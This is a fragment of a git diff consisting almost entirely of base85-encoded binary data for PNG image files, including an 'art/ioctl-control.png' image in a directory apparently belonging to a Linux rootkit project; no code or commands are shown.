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 BAlU!_ literal 0 HcmV?d00001 diff --git a/Linux/Rootkits/Rooty/art/ioctl-control.png b/Linux/Rootkits/Rooty/art/ioctl-control.png new file mode 100644 index 0000000000000000000000000000000000000000..a18c981d22cc171f2e659d616be074c701c09e12 GIT binary patch literal 207821 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 